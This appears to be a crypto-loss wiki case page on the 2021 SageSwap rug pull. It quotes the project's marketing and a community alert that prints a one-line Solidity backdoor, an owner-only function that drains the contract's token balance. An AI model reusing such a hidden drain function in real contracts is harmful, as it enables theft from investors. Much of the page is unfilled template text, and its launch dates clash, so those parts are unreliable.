SageSwap Rug Pull

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SageSwap

The site appears to have launched around March 20th, 2021 and failed to load after March 22nd, 2021. The last visible indication of Total Value Locked in the smart contract hot wallet was $32,451 USD. In the end, it appears that the developers had built a small function in the smart contract to allow them to steal any invested funds.

This is a global/international case not involving a specific country.

About SageSwap

"3rd Generation Deflationary AMM and Yield Farming on Binance Smart Chain"

"What Is Sage Finance Token (SAFT)? Sage Finance is an open-source project launched on the Binance Smart chain and the token is Sage Finance Token (SAFT). Launched on April 1st, 2021 with smart contract 0xD4ED4a27ff7EaE121C487D841e530Cd0dA65c6b5. SageSwap (launching in May) is a Binance-based decentralized exchange protocol. The Binance smartchain does not need any external dependencies to run."

"Sageswap aims to be a user-friendly exchange with high gas performance, censorship resistance, and zero rent extraction. It is beneficial to traders and works especially well as a module of other smart contracts that need on-chain liquidity assurance. What Makes Sage Finance Unique? The Sage Finance token SAFT is a BEP20 token that originally launched on Binance Smart Chain. The main function of SAFT is to incentivize the liquidity provision to the SageSwap platform. Users can stake their tokens to earn rewards, which is done by depositing Liquidity Provider tokens and locking them up. This is known as farming and is rewarded by the system with SAFT tokens. The tokens can be un-staked with zero holding time."

"SAFT gives users the opportunity to invest and increase returns in the future but comes with risks. How Many Sage Finance (SAFT) Token Are There in Circulation? There is a maximum supply of 10 million SAFT — but at the time of writing, there was a circulating supply of about 8 milliom. 2 rounds of presale of SAFT tokens were held between April 4, 2021 and April 9, 2021 on DxSale. Approximately 2.5 million SAFT was used as Liquidity on PancakeSwap and locked by DxSale. Meanwhile, approximately 4.5 million SAFT was sold during the presale and additional 1 million was dispersed to airdroppers and for promotions. Last but not least, 350 thousand SAFT was charged by DxSale as platform used for conducting the presale.

"Overall, no amount of SAFT’s total supply was given to the project’s founders. They all participated in the presale with investors for a fair launch. How Is the Sage Finance Network Secured? SAFT can be securely stored on supported wallets that are connected to the Binance Smart Chain. These include MetaMask, TrustWallet, TokenPocket and WalletConnect. Where Can You Buy Sage Finance Token (SAFT)? As a new project on the Binance Smart Chain, SAFT can be bought from PancakeSwap PancakeSwap Instructions"

"In celebration of our launch, we will be giving away $50 in $SAGE to the first 5000 people that RETWEET, FOLLOW, and post their #BSC address below!"

"Has this code which we are unsure about – only briefly checked the rest which was otherwise fine. DYOR"

"Another community alert inbound on a project called SageSwap may indicate high risks. One line of suspicious code under a legit-named function hiding under Contract Ownable...Please DYOR with caution before interacting with any #DeFi projects."

"function updateFeeAddress(address _feeAddress) public onlyOwner { IBEP20(_feeAddress).transfer(_treasury, IBEP20(_feeAddress).balanceOf(address(this))); }"

"…and it rugged"

This is a global/international case not involving a specific country.

The background of the exchange platform, service, or individuals involved, as it would have been seen or understood at the time of the events.

Include:

• Known history of when and how the service was started.
• What problems does the company or service claim to solve?
• What marketing materials were used by the firm or business?
• Audits performed, and excerpts that may have been included.
• Business registration documents shown (fake or legitimate).
• How were people recruited to participate?
• Public warnings and announcements prior to the event.

Don't Include:

• Any wording which directly states or implies that the business is/was illegitimate, or that a vulnerability existed.
• Anything that wasn't reasonably knowable at the time of the event.

There could be more than one section here. If the same platform is involved with multiple incidents, then it can be linked to a main article page.

The Reality

This sections is included if a case involved deception or information that was unknown at the time. Examples include:

• When the service was actually started (if different than the "official story").
• Who actually ran a service and their own personal history.
• How the service was structured behind the scenes. (For example, there was no "trading bot".)
• Details of what audits reported and how vulnerabilities were missed during auditing.

What Happened

The specific events of the loss and how it came about. What actually happened to cause the loss and some of the events leading up to it.

Key Event Timeline - SageSwap Rug Pull

Date	Event	Description
March 20th, 2021 9:16:03 PM MDT	Main Event	Expand this into a brief description of what happened and the impact. If multiple lines are necessary, add them here.

Technical Details

This section includes specific detailed technical analysis of any security breaches which happened. What specific software vulnerabilities contributed to the problem and how were they exploited?

Total Amount Lost

The total amount lost has been estimated at $32,000 USD.

How much was lost and how was it calculated? If there are conflicting reports, which are accurate and where does the discrepancy lie?

Immediate Reactions

How did the various parties involved (firm, platform, management, and/or affected individual(s)) deal with the events? Were services shut down? Were announcements made? Were groups formed?

Ultimate Outcome

What was the end result? Was any investigation done? Were any individuals prosecuted? Was there a lawsuit? Was any tracing done?

Total Amount Recovered

There do not appear to have been any funds recovered in this case.

What funds were recovered? What funds were reimbursed for those affected users?

Ongoing Developments

What parts of this case are still remaining to be concluded?

General Prevention Policies

Funds stored in smart contract hot wallets face many risks, especially when the wallet is controlled by an anonymous developer. For proper protection, uninsured funds should be stored in a multi-sig wallet with all keys stored offline and held by known and trained individuals. At least two seprate reviews of this setup should be conducted.

Individual Prevention Policies

No specific policies for individual prevention have yet been identified in this case.

For the full list of how to protect your funds as an individual, check our Prevention Policies for Individuals guide.

Platform Prevention Policies

Policies for platforms to take to prevent this situation have not yet been selected in this case.

For the full list of how to protect your funds as a financial service, check our Prevention Policies for Platforms guide.

Regulatory Prevention Policies

No specific regulatory policies have yet been identified in this case.

For the full list of regulatory policies that can prevent loss, check our Prevention Policies for Regulators guide.